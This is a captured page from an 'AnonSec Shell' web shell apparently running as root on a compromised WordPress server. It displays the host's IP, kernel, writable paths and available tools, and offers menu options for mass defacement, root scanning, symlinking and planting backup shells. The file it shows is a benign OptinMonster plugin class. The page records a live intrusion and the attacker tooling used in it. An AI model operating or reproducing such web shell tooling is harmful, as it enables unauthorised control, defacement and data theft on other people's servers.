AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/optinmonster/OMAPI/WPForms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/optinmonster/OMAPI/WPForms//Save.php
<?php
/**
 * WPForms Save class.
 *
 * @since 2.9.0
 *
 * @package OMAPI
 * @author  Eduardo Nakatsuka
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WPForms Save class.
 *
 * @since 2.9.0
 */
class OMAPI_WPForms_Save {

	/**
	 * Holds save error.
	 *
	 * @since 2.9.0
	 *
	 * @var mixed
	 */
	public $error = null;

	/**
	 * Holds the base class object.
	 *
	 * @since 2.9.0
	 *
	 * @var OMAPI
	 */
	public $base;

	/**
	 * Primary class constructor.
	 *
	 * @since 2.9.0
	 */
	public function __construct() {
		$this->base = OMAPI::get_instance();
	}

	/**
	 * Helper method to handle connecting WPForms to OptinMonster.
	 *
	 * @since 2.9.0
	 *
	 * @return void
	 */
	public function connect() {
		$this->updateConnection();
	}

	/**
	 * Helper method to handle disconnecting WPForms to OptinMonster.
	 *
	 * @since 2.9.0
	 *
	 * @return void
	 */
	public function disconnect() {
		$this->updateConnection( false );
	}

	/**
	 * Handles connecting or disconnecting WPForms to OptinMonster.
	 *
	 * @since 2.9.0
	 *
	 * @return void
	 */
	public function updateConnection( $connect = true ) {
		$creds = $this->base->get_api_credentials();

		if ( empty( $creds['apikey'] ) && empty( $creds['user'] ) && empty( $creds['key'] ) ) {
			return;
		}

		// Make a connection request.
		$action = $connect ? 'connect' : 'disconnect';
		$api    = new OMAPI_Api( 'wpforms/' . $action, $creds, 'POST', 'v2' );

		$response = $api->request( OMAPI_Api::getUrlArgs() );

		if ( is_wp_error( $response ) ) {
			$message = $connect
				? esc_html__( 'WPForms could not be connected to OptinMonster. The OptinMonster API returned with the following response: %s', 'optin-monster-api' )
				: esc_html__( 'WPForms could not be disconnected from OptinMonster. The OptinMonster API returned with the following response: %s', 'optin-monster-api' );

			$this->error = sprintf( $message, $response->get_error_message() );
		}
	}
}

Anon7 - 2022
AnonSec Team